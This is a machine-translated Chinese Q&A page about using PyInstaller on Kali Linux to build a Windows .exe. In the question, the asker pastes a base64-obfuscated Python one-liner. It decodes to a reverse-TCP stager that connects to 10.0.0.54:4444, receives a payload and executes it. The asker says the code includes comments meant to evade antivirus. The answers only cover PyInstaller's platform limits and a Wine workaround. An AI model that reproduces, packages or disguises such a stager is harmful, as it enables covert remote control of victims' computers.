在Linux上将Python编译为.EXE而不是.ELF

问题描述 投票:-2回答:2

我正在Kali Linux上编译Python代码。我想生成一个在Windows上运行的.exe文件。这些是PyInstaller的以下设置:

pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe

并且代码只是米预测,带有一些注释以避免反病毒检测。以下代码是:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))

当我编译它时,我收到一个.ELF文件而不是.EXE。也许我可以让目录错误?我不认为是这样,因为我检查了大多数与PyInstaller相关的目录。我已经阅读了PyInstaller的指南,但它似乎毫无用处。是否有任何解决方案在Linux上编译Python代码以获取Windows的.exe文件?

python linux windows pyinstaller
2个回答
2
投票

来自the documentation

PyInstaller的输出特定于活动操作系统和Python的活动版本。这意味着要为以下内容准备分发:

  • 一个不同的OS
  • 不同版本的Python
  • 32位或64位操作系统

你在那个操作系统上运行PyInstaller,在那个版本的Python下运行。执行PyInstaller的Python解释器是bundle的一部分,它特定于OS和字大小。

你不能在运行其Python的Kali下生成.exe。


1
投票

伊格纳西奥的回答是正确的。 Linux版本的pyinstaller不会构建Windows PE。

一个[复杂的]解决方法是安装wine,然后在wine上安装python(和wine上的pyinstaller)。

然后运行wine的pyinstaller来构建exe。

© www.soinside.com 2019 - 2024. All rights reserved.